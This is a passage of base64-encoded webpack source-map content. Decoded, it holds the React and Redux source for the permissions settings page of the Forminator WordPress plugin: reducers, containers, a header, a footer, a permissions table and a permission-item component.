XBvcnQgeyBjb21iaW5lUmVkdWNlcnMgfSBmcm9tICdyZWR1eCc7XG5cbi8vIEltcG9ydCByZWR1Y2Vyc1xuaW1wb3J0IHBlcm1pc3Npb25zIGZyb20gJy4vcGVybWlzc2lvbnMnO1xuaW1wb3J0IG1vZGFsIGZyb20gJy4vbW9kYWwnO1xuXG5jb25zdCBhcHBSZWR1Y2VycyA9IGNvbWJpbmVSZWR1Y2Vycygge1xuXHQvLyBMaXN0IHJlZHVjZXJzXG5cdHBlcm1pc3Npb25zLFxuXHRtb2RhbCxcbn0gKTtcblxuZXhwb3J0IGRlZmF1bHQgYXBwUmVkdWNlcnM7XG5cblxuXG4vLyBXRUJQQUNLIEZPT1RFUiAvL1xuLy8gLi9zcmMvc2V0dGluZ3MtcGFnZS9yZWR1Y2Vycy9pbmRleC5qcyIsImV4cG9ydCBkZWZhdWx0IGZ1bmN0aW9uIHBlcm1pc3Npb25zKCBzdGF0ZSA9IFtdLCBhY3Rpb24gKSB7XG5cdHN3aXRjaCAoIGFjdGlvbi50eXBlICkge1xuXHRcdGNhc2UgJ1VQREFURV9QRVJNSVNTSU9OUyc6XG5cdFx0XHRyZXR1cm4gYWN0aW9uLnBlcm1pc3Npb25zO1xuXHRcdGRlZmF1bHQ6XG5cdFx0XHRyZXR1cm4gc3RhdGU7XG5cdH1cbn1cblxuXG5cbi8vIFdFQlBBQ0sgRk9PVEVSIC8vXG4vLyAuL3NyYy9zZXR0aW5ncy1wYWdlL3JlZHVjZXJzL3Blcm1pc3Npb25zLmpzIiwiY29uc3QgaW5pdGlhbFN0YXRlID0ge1xuXHRtb2RhbFR5cGU6IG51bGwsXG5cdG1vZGFsUHJvcHM6IHt9LFxufTtcblxuZXhwb3J0IGRlZmF1bHQgKCBzdGF0ZSA9IGluaXRpYWxTdGF0ZSwgYWN0aW9uICkgPT4ge1xuXHRzd2l0Y2ggKCBhY3Rpb24udHlwZSApIHtcblx0XHRjYXNlICdTSE9XX01PREFMJzpcblx0XHRcdHJldHVybiB7XG5cdFx0XHRcdG1vZGFsUHJvcHM6IGFjdGlvbi5tb2RhbFByb3BzLFxuXHRcdFx0XHRtb2RhbFR5cGU6IGFjdGlvbi5tb2RhbFR5cGUsXG5cdFx0XHRcdHR5cGU6IGFjdGlvbi50eXBlLFxuXHRcdFx0fTtcblx0XHRjYXNlICdISURFX01PREFMJzpcblx0XHRcdHJldHVybiBpbml0aWFsU3RhdGU7XG5cdFx0ZGVmYXVsdDpcblx0XHRcdHJldHVybiBzdGF0ZTtcblx0fVxufTtcblxuXG5cbi8vIFdFQlBBQ0sgRk9PVEVSIC8vXG4vLyAuL3NyYy9zZXR0aW5ncy1wYWdlL3JlZHVjZXJzL21vZGFsLmpzIiwiaW1wb3J0IFJlYWN0LCB7IENvbXBvbmVudCB9IGZyb20gJ3JlYWN0JztcbmltcG9ydCB7IHRyYW5zbGF0ZSwgcGFyc2VRdWVyeVN0cmluZyB9IGZyb20gJy4uLy4uL3V0aWxzJztcblxuaW1wb3J0IFBlcm1pc3Npb25zIGZyb20gJy4vcGVybWlzc2lvbnMnO1xuaW1wb3J0IE1vZGFsIGZyb20gJy4vbW9kYWwnO1xuXG5leHBvcnQgZGVmYXVsdCBjbGFzcyBNYWluIGV4dGVuZHMgQ29tcG9uZW50IHtcblx0Y29uc3RydWN0b3IoIHByb3BzICkge1xuXHRcdHN1cGVyKCBwcm9wcyApO1xuXHR9XG5cblx0Y29tcG9uZW50RGlkTW91bnQoKSB7XG5cdFx0dGhpcy5nb1RvU2VjdGlvbkZyb21VcmwoKTtcblxuXHRcdHdpbmRvdy5hZGRFdmVudExpc3RlbmVyKCAnYmVmb3JldW5sb2FkJywgdGhpcy5oYW5kbGVCZWZvcmV1bmxvYWQgKTtcblx0fVxuXG5cdGNvbXBvbmVudFdpbGxVbm1vdW50KCkge1xuXHRcdHdpbmRvdy5yZW1vdmVFdmVudExpc3RlbmVyKCAnYmVmb3JldW5sb2FkJywgdGhpcy5oYW5kbGVCZWZvcmV1bmxvYWQgKTtcblx0fVxuXG5cdC8qXG5cdCAqIElmIFVSTCBoYXMgcGFyYW0gZ290b3NlY3Rpb24sIHVwb24gcGFnZSBsb2FkLFxuXHQgKiB0aGUgcGFnZSB3aWxsIGdvIHRvIHRoZSBzcGVjaWZpZWQgdGFiIG9uIHRoZSBnb3Rvc2VjdGlvbiBwYXJhbS5cblx0ICogVXNlZnVsIHdoZW4gcmVkaXJlY3RpbmcgZnJvbSBhbm90aGVyIHBhZ2UgdGhhdCBpcyBub3QgcGFydCBvZiBmb3JtIGVkaXRvci5cblx0Ki9cblx0Z29Ub1NlY3Rpb25Gcm9tVXJsKCkge1xuXHRcdGNvbnN0IGdvVG9TZWN0aW9uID0gcGFyc2VRdWVyeVN0cmluZygpLmdvdG9zZWN0aW9uO1xuXG5cdFx0aWYgKCAhIF8uaXNVbmRlZmluZWQoIGdvVG9TZWN0aW9uICkgKSB7XG5cdFx0XHRjb25zdCB0aGVVcmwgPSB3aW5kb3cubG9jYXRpb24uaHJlZjtcblxuXHRcdFx0dGhpcy5wcm9wcy5oaXN0b3J5LnB1c2goICcvJyArIHBhcnNlUXVlcnlTdHJpbmcoKS5nb3Rvc2VjdGlvbiApO1xuXHRcdFx0d2luZG93Lmhpc3RvcnkucmVwbGFjZVN0YXRlKCB7fSwgZG9jdW1lbnQudGl0bGUsIHRoZVVybC5zbGljZSggMCwgdGhlVXJsLmluZGV4T2YoICcmZ290b3NlY3Rpb24nICkgKSApO1xuXHRcdH1cblx0fVxuXG5cdGhhbmRsZUJlZm9yZXVubG9hZCggZSApIHtcblx0XHRpZiAoIHdpbmRvdy5mb3JtaW5hdG9yQ2hhbmdlcy5sZW5ndGggPiAwIHx8IHdpbmRvdy5mb3JtaW5hdG9yQ2hhbmdlcy5zZXR0aW5ncyA9PT0gdHJ1ZSApIHtcblx0XHRcdGUucHJldmVudERlZmF1bHQoKTtcblx0XHRcdGUucmV0dXJuVmFsdWUgPSB0cmFuc2xhdGUoXG5cdFx0XHRcdCdZb3UgaGF2ZSB1bnNhdmVkIGNoYW5nZXMsIGFyZSB5b3Ugc3VyZSB3YW50IHRvIGxlYXZlIHRoaXMgcGFnZSdcblx0XHRcdCk7XG5cdFx0XHRyZXR1cm4gdHJhbnNsYXRlKCAnWW91IGhhdmUgdW5zYXZlZCBjaGFuZ2VzLCBhcmUgeW91IHN1cmUgd2FudCB0byBsZWF2ZSB0aGlzIHBhZ2UnICk7XG5cdFx0fVxuXHR9XG5cblx0cmVuZGVyKCkge1xuXG5cdFx0cmV0dXJuIChcblx0XHRcdDxSZWFjdC5GcmFnbWVudD5cblxuXHRcdFx0XHQ8UGVybWlzc2lvbnMgeyAuLi50aGlzLnByb3BzIH0gLz5cblxuXHRcdFx0XHQ8TW9kYWwgeyAuLi50aGlzLnByb3BzIH0gLz5cblxuXHRcdFx0PC9SZWFjdC5GcmFnbWVudD5cblx0XHQpO1xuXHR9XG59XG5cblxuXG4vLyBXRUJQQUNLIEZPT1RFUiAvL1xuLy8gLi9zcmMvc2V0dGluZ3MtcGFnZS9jb250YWluZXJzL21haW4uanMiLCJpbXBvcnQgeyBQcm92aWRlciwgY29ubmVjdCB9IGZyb20gJ3JlYWN0LXJlZHV4JztcbmltcG9ydCB7IGJpbmRBY3Rpb25DcmVhdG9ycyB9IGZyb20gJ3JlZHV4JztcblxuaW1wb3J0ICogYXMgbW9kYWxBY3Rpb25zIGZyb20gJy4uL2FjdGlvbnMvbW9kYWwnO1xuaW1wb3J0ICogYXMgcGVybWlzc2lvbkFjdGlvbnMgZnJvbSAnLi4vYWN0aW9ucy9wZXJtaXNzaW9ucyc7XG5cbmltcG9ydCBQZXJtaXNzaW9ucyBmcm9tICcuLi9jb21wb25lbnRzL3Blcm1pc3Npb25zJztcblxuZnVuY3Rpb24gbWFwU3RhdGVUb1Byb3BzKCBzdGF0ZSApIHtcblx0cmV0dXJuIHtcblx0XHRwZXJtaXNzaW9uczogc3RhdGUucGVybWlzc2lvbnMgfHwge30sXG5cdFx0bW9kYWw6IHN0YXRlLm1vZGFsLFxuXHR9O1xufVxuXG5mdW5jdGlvbiBtYXBEaXNwYXRjaFRvUHJvcHMoIGRpc3BhdGNoICkge1xuXHRyZXR1cm4ge1xuXHRcdGFjdGlvbnM6IHtcblx0XHRcdG1vZGFsQWN0aW9uczogYmluZEFjdGlvbkNyZWF0b3JzKCBtb2RhbEFjdGlvbnMsIGRpc3BhdGNoICksXG5cdFx0XHRwZXJtaXNzaW9uQWN0aW9uczogYmluZEFjdGlvbkNyZWF0b3JzKCBwZXJtaXNzaW9uQWN0aW9ucywgZGlzcGF0Y2ggKSxcblx0XHR9LFxuXHR9O1xufVxuXG5leHBvcnQgZGVmYXVsdCBjb25uZWN0KFxuXHRtYXBTdGF0ZVRvUHJvcHMsXG5cdG1hcERpc3BhdGNoVG9Qcm9wc1xuKSggUGVybWlzc2lvbnMgKTtcblxuXG4vLyBXRUJQQUNLIEZPT1RFUiAvL1xuLy8gLi9zcmMvc2V0dGluZ3MtcGFnZS9jb250YWluZXJzL3Blcm1pc3Npb25zLmpzIiwiaW1wb3J0IFJlYWN0LCB7IENvbXBvbmVudCB9IGZyb20gJ3JlYWN0JztcbmltcG9ydCB7IHRyYW5zbGF0ZSB9IGZyb20gJy4uLy4uL3V0aWxzJztcblxuaW1wb3J0IEhlYWRlciBmcm9tICcuLi9nbG9iYWwvaGVhZGVyJztcbmltcG9ydCBGb290ZXIgZnJvbSAnLi4vZ2xvYmFsL2Zvb3Rlcic7XG5pbXBvcnQgUGVybWlzc2lvbnNUYWJsZSBmcm9tICcuL3Blcm1pc3Npb25zL3Blcm1pc3Npb25zLXRhYmxlJztcblxuZXhwb3J0IGRlZmF1bHQgY2xhc3MgUGVybWlzc2lvbnMgZXh0ZW5kcyBDb21wb25lbnQge1xuXHRjb25zdHJ1Y3RvciggcHJvcHMgKSB7XG5cdFx0c3VwZXIoIHByb3BzICk7XG5cdH1cblxuXHRyZW5kZXIgKCkge1xuXHRcdGNvbnN0IHRvb2x0aXBXaWR0aCA9IHsgXCItLXRvb2x0aXAtd2lkdGhcIjogXCIyMjBweFwiIH07XG5cblx0XHRyZXR1cm4gKFxuXHRcdFx0PFJlYWN0LkZyYWdtZW50PlxuXG5cdFx0XHRcdDxIZWFkZXIgeyAuLi50aGlzLnByb3BzIH0gdGl0bGU9eyB0cmFuc2xhdGUoICdQZXJtaXNzaW9ucycgKSB9IC8+XG5cblx0XHRcdFx0PFBlcm1pc3Npb25zVGFibGUgeyAuLi50aGlzLnByb3BzIH0gLz5cblxuXHRcdFx0XHQ8Rm9vdGVyIHsgLi4udGhpcy5wcm9wcyB9Lz5cblxuXHRcdFx0PC9SZWFjdC5GcmFnbWVudD5cblx0XHQpO1xuXHR9XG59XG5cblxuXG4vLyBXRUJQQUNLIEZPT1RFUiAvL1xuLy8gLi9zcmMvc2V0dGluZ3MtcGFnZS9jb21wb25lbnRzL3Blcm1pc3Npb25zLmpzIiwiaW1wb3J0IFJlYWN0LCB7IENvbXBvbmVudCB9IGZyb20gJ3JlYWN0JztcbmltcG9ydCB7IHRyYW5zbGF0ZSB9IGZyb20gJy4uLy4uL3V0aWxzJztcblxuZXhwb3J0IGRlZmF1bHQgY2xhc3MgSGVhZGVyIGV4dGVuZHMgQ29tcG9uZW50IHtcblxuICAgIHJlbmRlcigpIHtcbiAgICAgICAgY29uc3QgcHJvcCA9IHRoaXMucHJvcHM7XG5cbiAgICAgICAgcmV0dXJuIChcbiAgICAgICAgICAgIDxkaXYgY2xhc3NOYW1lPVwic3VpLWJveC1oZWFkZXJcIj5cbiAgICAgICAgICAgIDxoMiBjbGFzc05hbWU9XCJzdWktYm94LXRpdGxlXCI+eyBwcm9wLnRpdGxlIH08L2gyPlxuXG4gICAgICAgICAgICB7IHByb3AuaGFzVXBkYXRlZCAmJlxuICAgICAgICAgICAgICAgIDxzcGFuIGNsYXNzTmFtZT1cInN1aS10YWdcIj5cbiAgICAgICAgICAgICAgICAgICAgeyB0cmFuc2xhdGUoICdVbnNhdmVkIENoYW5nZXMnICkgfVxuICAgICAgICAgICAgICAgIDwvc3Bhbj5cbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgIDwvZGl2PlxuICAgICAgICApO1xuICAgIH1cbn1cblxuXG4vLyBXRUJQQUNLIEZPT1RFUiAvL1xuLy8gLi9zcmMvc2V0dGluZ3MtcGFnZS9nbG9iYWwvaGVhZGVyLmpzIiwiaW1wb3J0IFJlYWN0LCB7IENvbXBvbmVudCB9IGZyb20gJ3JlYWN0JztcbmltcG9ydCB7IHRyYW5zbGF0ZSB9IGZyb20gJy4uLy4uL3V0aWxzJztcblxuZXhwb3J0IGRlZmF1bHQgY2xhc3MgRm9vdGVyIGV4dGVuZHMgQ29tcG9uZW50IHtcblx0Y29uc3RydWN0b3IoIHByb3BzICkge1xuXHRcdHN1cGVyKCBwcm9wcyApO1xuXG5cdFx0dGhpcy5zaG93TW9kYWwgPSB0aGlzLnNob3dNb2RhbC5iaW5kKCB0aGlzICk7XG5cdFx0dGhpcy5jbG9zZU1vZGFsID0gdGhpcy5jbG9zZU1vZGFsLmJpbmQoIHRoaXMgKTtcblx0fVxuXG5cdHNob3dNb2RhbCgpIHtcblx0XHR0aGlzLnByb3BzLmFjdGlvbnMubW9kYWxBY3Rpb25zLnNob3dNb2RhbChcblx0XHRcdHtcblx0XHRcdFx0b3BlbjogdHJ1ZSxcblx0XHRcdFx0bmV3OiB0cnVlLFxuXHRcdFx0XHRjbG9zZU1vZGFsOiB0aGlzLmNsb3NlTW9kYWwsXG5cdFx0XHR9LFxuXHRcdFx0J3Blcm1pc3Npb25zJ1xuXHRcdCk7XG5cdH1cblxuXHRjbG9zZU1vZGFsKCkge1xuXHRcdHRoaXMucHJvcHMuYWN0aW9ucy5tb2RhbEFjdGlvbnMuc2hvd01vZGFsKFxuXHRcdFx0e1xuXHRcdFx0XHRvcGVuOiBmYWxzZSxcblx0XHRcdH0sXG5cdFx0XHQncGVybWlzc2lvbnMnXG5cdFx0KTtcblx0fVxuXG4gICAgcmVuZGVyKCkge1xuICAgICAgICBjb25zdCBwcm9wID0gdGhpcy5wcm9wcztcblxuICAgICAgICByZXR1cm4gKFxuICAgICAgICAgICAgPGRpdiBjbGFzc05hbWU9XCJzdWktYm94LWZvb3RlclwiPlxuXHRcdFx0XHQ8YnV0dG9uXG4gICAgICAgICAgICAgICAgICAgIGNsYXNzTmFtZT1cInN1aS1idXR0b24gc3VpLWJ1dHRvbi1ncmF5XCJcbiAgICAgICAgICAgICAgICAgICAgb25DbGljaz17IHRoaXMuc2hvd01vZGFsIH1cbiAgICAgICAgICAgICAgICA+XG5cdFx0XHRcdFx0PHNwYW4gY2xhc3NOYW1lPVwic3VpLWljb24tcGx1cyBzdWktXCIgYXJpYS1oaWRkZW49XCJ0cnVlXCI+PC9zcGFuPlxuXHRcdFx0XHRcdHsgdHJhbnNsYXRlKCAnQWRkIHBlcm1pc3Npb25zJyApIH1cblx0XHRcdFx0PC9idXR0b24+XG5cdFx0XHQ8L2Rpdj5cbiAgICAgICAgKTtcbiAgICB9XG59XG5cblxuLy8gV0VCUEFDSyBGT09URVIgLy9cbi8vIC4vc3JjL3NldHRpbmdzLXBhZ2UvZ2xvYmFsL2Zvb3Rlci5qcyIsIi8qIGpzaGludCBlc3ZlcnNpb246IDYgKi9cbmltcG9ydCBSZWFjdCwgeyBDb21wb25lbnQgfSBmcm9tICdyZWFjdCc7XG5pbXBvcnQgeyB0cmFuc2xhdGUgfSBmcm9tICcuLi8uLi8uLi91dGlscyc7XG5cbmltcG9ydCBQZXJtaXNzaW9uIGZyb20gJy4vcGVybWlzc2lvbi1pdGVtJztcblxuZXhwb3J0IGRlZmF1bHQgY2xhc3MgUGVybWlzc2lvbnNUYWJsZSBleHRlbmRzIENvbXBvbmVudCB7XG5cdGNvbnN0cnVjdG9yKCBwcm9wcyApIHtcblx0XHRzdXBlciggcHJvcHMgKTtcblx0fVxuXG5cdGFwcGx5U3RpY2t5KCkge1xuXHRcdGNvbnN0IG5vZGUgPSB0aGlzLnJlZnMuU3RpY2t5SGVhZGVyO1xuXHRcdGNvbnN0IGN1cnJlbnRPZmZzZXQgPSBub2RlLmdldEJvdW5kaW5nQ2xpZW50UmVjdCgpLnRvcDtcblx0XHRjb25zdCBzdGlja3lPZmZzZXQgPSBwYXJzZUludCggd2luZG93LmdldENvbXB1dGVkU3R5bGUoIG5vZGUgKS50b3AucmVwbGFjZSggJ3B4JywgJycgKSApO1xuXHRcdGNvbnN0IGlzU3R1Y2sgPSBjdXJyZW50T2Zmc2V0IDw9IHN0aWNreU9mZnNldDtcblxuXHRcdGlmICggaXNTdHVjayApIHtcblx0XHRcdG5vZGUuY2xhc3NMaXN0LmFkZCggJ3N1aS1pcy1zdGlja3knICk7XG5cdFx0fSBlbHNlIHtcblx0XHRcdG5vZGUuY2xhc3NMaXN0LnJlbW92ZSggJ3N1aS1pcy1zdGlja3knICk7XG5cdFx0fVxuXHR9XG5cblx0cmVuZGVyKCkge1xuXHRcdHJldHVybiAoXG5cdFx0XHQ8UmVhY3QuRnJhZ21lbnQ+XG5cdFx0XHRcdDxkaXYgY2xhc3NOYW1lPVwic3VpLWJveC1ib2R5XCI+XG5cdFx0XHRcdFx0PHA+eyB0cmFuc2xhdGUoXG5cdFx0XHRcdFx0XHQnQnkgZGVmYXVsdCwgYWxsIGFkbWluaXN0cmF0b3JzIGhhdmUgY29tcGxldGUgYWNjZXNzIHRvIEZvcm1pbmF0b3IuICcgK1xuXHRcdFx0XHRcdFx0J1lvdSBjYW4gcHJvdmlkZSBhbmQgbWFuYWdlIGFjY2VzcyB0byBvdGhlciB1c2VyIHJvbGVzIG9yIHRvIGluZGl2aWR1YWwgdXNlcihzKSBiZWxvdy4nXG5cdFx0XHRcdFx0KSB9PC9wPlxuXHRcdFx0XHQ8L2Rpdj5cblxuXHRcdFx0XHQ8ZGl2IGNsYXNzTmFtZT1cImZvcm1pbmF0b3ItcGVybWlzc2lvbnMtdGFibGVcIj5cblx0XHRcdFx0XHQ8dGFibGUgY2xhc3NOYW1lPVwic3VpLXRhYmxlIHN1aS10YWJsZS1mbHVzaGVkXCI+XG5cblx0XHRcdFx0XHRcdDx0aGVhZD5cblx0XHRcdFx0XHRcdFx0PHRyPlxuXHRcdFx0XHRcdFx0XHRcdDx0aCBjb2xTcGFuPXsgNCB9ID57IHRyYW5zbGF0ZSggJ1VzZXIgUm9sZS9Vc2VyJyApIH08L3RoPlxuXHRcdFx0XHRcdFx0XHRcdDx0aCBjb2xTcGFuPXsgMiB9IGNsYXNzTmFtZT1cImZwLWl0ZW0tY29sXCI+eyB0cmFuc2xhdGUoICdNb2R1bGVzJyApIH08L3RoPlxuXHRcdFx0XHRcdFx0XHRcdDx0aCBjb2xTcGFuPXsgMiB9IGNsYXNzTmFtZT1cImZwLWl0ZW0tY29sXCI+eyB0cmFuc2xhdGUoICdTdWJtaXNzaW9ucycgKSB9PC90aD5cblx0XHRcdFx0XHRcdFx0XHQ8dGggY29sU3Bhbj17IDIgfSBjbGFzc05hbWU9XCJmcC1pdGVtLWNvbFwiPnsgdHJhbnNsYXRlKCAnQWRkLW9ucycgKSB9PC90aD5cblx0XHRcdFx0XHRcdFx0XHQ8dGggY29sU3Bhbj17IDIgfSBjbGFzc05hbWU9XCJmcC1pdGVtLWNvbFwiPnsgdHJhbnNsYXRlKCAnSW50ZWdyYXRpb25zJyApIH08L3RoPlxuXHRcdFx0XHRcdFx0XHRcdDx0aCBjb2xTcGFuPXsgMiB9IGNsYXNzTmFtZT1cImZwLWl0ZW0tY29sXCI+eyB0cmFuc2xhdGUoICdSZXBvcnRzJyApIH08L3RoPlxuXHRcdFx0XHRcdFx0XHRcdDx0aCBjb2xTcGFuPXsgMiB9IGNsYXNzTmFtZT1cImZwLWl0ZW0tY29sXCI+eyB0cmFuc2xhdGUoICdTZXR0aW5ncycgKSB9PC90aD5cblx0XHRcdFx0XHRcdFx0XHQ8dGggY29sU3Bhbj17IDEgfT48L3RoPlxuXHRcdFx0XHRcdFx0XHQ8L3RyPlxuXHRcdFx0XHRcdFx0PC90aGVhZD5cblxuXHRcdFx0XHRcdFx0PHRib2R5PlxuXHRcdFx0XHRcdFx0XHQ8UGVybWlzc2lvbiB7IC4uLnRoaXMucHJvcHMgfSBpc0FkbWluPXsgdHJ1ZSB9IC8+XG5cblx0XHRcdFx0XHRcdFx0eyBfLm1hcCggdGhpcy5wcm9wcy5wZXJtaXNzaW9ucywgKCBwZXJtaXNzaW9uLCBpbmRleCApID0+IChcblx0XHRcdFx0XHRcdFx0XHQ8UGVybWlzc2lvblxuXHRcdFx0XHRcdFx0XHRcdFx0a2V5PXsgaW5kZXggfVxuXHRcdFx0XHRcdFx0XHRcdFx0YWN0aW9ucz17IHRoaXMucHJvcHMuYWN0aW9ucyB9XG5cdFx0XHRcdFx0XHRcdFx0XHRpc0FkbWluPXsgZmFsc2UgfVxuXHRcdFx0XHRcdFx0XHRcdFx0eyAuLi5wZXJtaXNzaW9uIH1cblx0XHRcdFx0XHRcdFx0XHQvPlxuXHRcdFx0XHRcdFx0XHQpICkgfVxuXHRcdFx0XHRcdFx0PC90Ym9keT5cblxuXHRcdFx0XHRcdDwvdGFibGU+XG5cdFx0XHRcdDwvZGl2PlxuXHRcdFx0PC9SZWFjdC5GcmFnbWVudD5cblx0XHQpO1xuXHR9XG59XG5cblxuXG4vLyBXRUJQQUNLIEZPT1RFUiAvL1xuLy8gLi9zcmMvc2V0dGluZ3MtcGFnZS9jb21wb25lbnRzL3Blcm1pc3Npb25zL3Blcm1pc3Npb25zLXRhYmxlLmpzIiwiLyoganNoaW50IGVzdmVyc2lvbjogNiAqL1xuaW1wb3J0IFJlYWN0LCB7IENvbXBvbmVudCB9IGZyb20gJ3JlYWN0JztcbmltcG9ydCB7IHRyYW5zbGF0ZSB9IGZyb20gJy4uLy4uLy4uL3V0aWxzJztcbmltcG9ydCBQZXJtaXNzaW9uSWNvbiBmcm9tICcuL3Blcm1pc3Npb24taWNvbic7XG5cbmV4cG9ydCBkZWZhdWx0IGNsYXNzIFBlcm1pc3Npb25JdGVtIGV4dGVuZHMgQ29tcG9uZW50IHtcblx0Y29uc3RydWN0b3IoIHByb3BzICkge1xuXHRcdHN1cGVyKCBwcm9wcyApO1xuXG5cdFx0dGhpcy5wZXJtaXNzaW9uTWVudSA9IFJlYWN0LmNyZWF0ZVJlZigpO1xuXHRcdHRoaXMuc2hvd01vZGFsID0gdGhpcy5zaG93TW9kYWwuYmluZCggdGhpcyApO1xuXHRcdHRoaXMuZGVsZXRlTW9kYWwgPSB0aGlzLmRlbGV0ZU1vZGFsLmJpbmQoIHRoaXMgKTtcblx0fVxuXG5cdGNvbXBvbmVudERpZE1vdW50ICgpIHtcblx0XHR0aGlzLiRwZXJtaXNzaW9uID0galF1ZXJ5KCB0aGlzLnBlcm1pc3Npb25NZW51LmN1cnJlbnQgKTtcblxuXHRcdHRoaXMuJHBlcm1pc3Npb24ub24oICdjbGljaycsIGZ1bmN0aW9uKCBlICkge1xuXHRcdFx0ZS5wcmV2ZW50RGVmYXVsdCgpO1xuXHRcdFx0ZS5zdG9wUHJvcGFnYXRpb24oKTtcblxuXHRcdFx0alF1ZXJ5KCAnLmZwLXBlcm1pc3Npb24tYWN0aW9ucyAucGVybWlzc2lvbi1tZW51JyApXG5cdFx0XHRcdC5ub3QoIHRoaXMgKVxuXHRcdFx0XHQucGFyZW50KCAnLnN1aS1kcm9wZG93bi5vcGVuJyApXG5cdFx0XHRcdC5yZW1vdmVDbGFzcyggJ29wZW4nICk7XG5cdFx0XHRqUXVlcnkoIHRoaXMgKS5wYXJlbnQoKS50b2dnbGVDbGFzcyggJ29wZW4nICk7XG5cdFx0fSk7XG5cblx0XHR0aGlzLiRwZXJtaXNzaW9uLm9uKCAnbW91c2VvdXQnLCBmdW5jdGlvbiggZSApIHtcblx0XHRcdGpRdWVyeSggdGhpcyApLnRyaWdnZXIoICdibHVyJyApO1xuXHRcdH0pO1xuXG5cdFx0Ly8gUmVtb3ZlIHRoaXMgd2hlbiBtb3JlIEZvcm1pbmF0b3IgbWVudSBpdGVtcyBhcmUgYWRkZWQgaW4gdGhlIGZ1dHVyZSB0byBlbmFibGUgYWNjb3JkaW9uLlxuXHRcdGxldCBjb3VudCA9IDA7XG5cdFx0dGhpcy5hY2NvcmRpb25UaW1lb3V0KCBjb3VudCApO1xuXHR9XG5cblx0Y29tcG9uZW50V2lsbFVubW91bnQgKCkge1xuXHRcdHRoaXMuJHBlcm1pc3Npb24ub2ZmKCk7XG5cdH1cblxuXHQvKlxuXHQgKiBSZW1vdmVzIHRoZSBjbGljayBldmVudCBvbiBzdWktYWNjb3JkaW9uIHVudGlsIFNVSSBoYXMgaW5pdGlhbGl6ZWQuXG5cdCAqIFRoaXMgd2FzIGFkZGVkIGJlY2F1c2UgU1VJIGhhcyBubyB0cmlnZ2VyIGV2ZW50XG5cdCAqIHdoZW4gaXQgaGFzIGZpbmlzaGVkIGluaXRpYWxpemluZyB0aGF0IHdlIGNvdWxkIGhhdmUgdXNlZC5cblx0Ki9cblx0YWNjb3JkaW9uVGltZW91dCAoIGNvdW50ICkge1xuXHRcdGNvbnN0IHNlbGYgPSB0aGlzO1xuXG5cdFx0c2V0VGltZW91dChcblx0XHRcdGZ1bmN0aW9uKCkge1xuXHRcdFx0XHRqUXVlcnkoICcuZm9ybWluYXRvci1wZXJtaXNzaW9ucy10YWJsZS5zdWktYWNjb3JkaW9uJyApLm9mZiggJ2NsaWNrJyApO1xuXG5cdFx0XHRcdGlmICggY291bnQgPCAxMCApIHtcblx0XHRcdFx0XHRzZWxmLmFjY29yZGlvblRpbWVvdXQoIGNvdW50ICk7XG5cdFx0XHRcdH1cblx0XHRcdFx0Y291bnQrKztcblx0XHRcdH0sXG5cdFx0XHQyMDBcblx0XHQpO1xuXHR9XG5cblx0c2hvd01vZGFsKCkge1xuXHRcdGNvbnN0IG1vZGFsQWN0aW9ucyA9IHRoaXMucHJvcHMuYWN0aW9ucy5tb2RhbEFjdGlvbnM7XG5cdFx0Y29uc3QgdXNlcklkcyA9IHRoaXMucHJvcHMuc3BlY2lmaWNfdXNlcjtcblxuXHRcdG1vZGFsQWN0aW9ucy5zaG93TW9kYWwoXG5cdFx0XHR7XG5cdFx0XHRcdC4uLnRoaXMucHJvcHMsXG5cdFx0XHRcdC4uLih1c2VySWRzICYmIHsgY3VycmVudFVzZXI6IHRoaXMucHJvcHMudXNlcl9pbmZvWyB1c2VySWRzWzBdIF0gfSksXG5cdFx0XHRcdG9wZW46IHRydWUsXG5cdFx0XHRcdGNsb3NlTW9kYWw6ICgpID0+IHtcblx0XHRcdFx0XHRtb2RhbEFjdGlvbnMuc2hvd01vZGFsKFxuXHRcdFx0XHRcdFx0e1xuXHRcdFx0XHRcdFx0XHRvcGVuOiBmYWxzZSxcblx0XHRcdFx0XHRcdH0sXG5cdFx0XHRcdFx0XHQncGVybWlzc2lvbnMnXG5cdFx0XHRcdFx0KTtcblx0XHRcdFx0fSxcblx0XHRcdH0sXG5cdFx0XHQncGVybWlzc2lvbnMnXG5cdFx0KTtcblx0fVxuXG5cdGRlbGV0ZU1vZGFsKCkge1xuXHRcdGNvbnN0IG1vZGFsQWN0aW9ucyA9IHRoaXMucHJvcHMuYWN0aW9ucy5tb2RhbEFjdGlvbnM7XG5cblx0XHRtb2RhbEFjdGlvbnMuc2hvd01vZGFsKFxuXHRcdFx0e1xuXHRcdFx0XHQuLi50aGlzLnByb3BzLFxuXHRcdFx0XHRvcGVuOiB0cnVlLFxuXHRcdFx0XHRjbG9zZU1vZGFsOiAoKSA9PiB7XG5cdFx0XHRcdFx0bW9kYWxBY3Rpb25zLnNob3dNb2RhbChcblx0XHRcdFx0XHRcdHtcblx0XHRcdFx0XHRcdFx0b3BlbjogZmFsc2UsXG5cdFx0XHRcdFx0XHR9LFxuXHRcdFx0XHRcdFx0J3Blcm1pc3Npb25EZWxldGUnXG5cdFx0XHRcdFx0KTtcblx0XHRcdFx0fSxcblx0XHRcdH0sXG5cdFx0XHQncGVybWlzc2lvbkRlbGV0ZSdcblx0XHQpO1xuXHR9XG5cblx0cmVuZGVyKCkge1xuXHRcdGNvbnN0IHByb3AgPSB0aGlzLnByb3BzO1xuXHRcdGNvbnN0IGlzQWRtaW4gPSBwcm9wLmlzQWRtaW47XG5cdFx0Y29uc3QgdG9vbHRpcFdpZHRoID0geyBcIi0tdG9vbHRpcC13aWR0aFwiOiBcIjIyMHB4XCIgfTtcblx0XHRjb25zdCBhY2Nlc3NMaXN0ID0gW1xuXHRcdFx0J21hbmFnZV9mb3JtaW5hdG9yX21vZHVsZXMnLFxuXHRcdFx0J21hbmFnZV9mb3JtaW5hdG9yX3N1Ym1pc3Npb25zJyxcblx0XHRcdCdtYW5hZ2VfZm9ybWluYXRvcl9hZGRvbnMnLFxuXHRcdFx0J21hbmFnZV9mb3JtaW5hdG9yX2ludGVncmF0aW9ucycsXG5cdFx0XHQnbWFuYWdlX2Zvcm1pbmF0b3JfcmVwb3J0cycsXG5cdFx0XHQnbWFuYWdlX2Zvcm1pbmF0b3Jfc2V0dGluZ3MnLFxuXHRcdF07XG5cblx0XHRsZXQgcm9sZUltYWdlID0gPHNwYW4gY2xhc3NOYW1lPVwic3VpLWljb24tY29tbXVuaXR5LXBlb3BsZSBzdWktbWRcIiBhcmlhLWhpZGRlbj1cInRydWVcIj48L3NwYW4+O1xuXHRcdGxldCByb2xlTmFtZSAgPSB0cmFuc2xhdGUoICdBZG1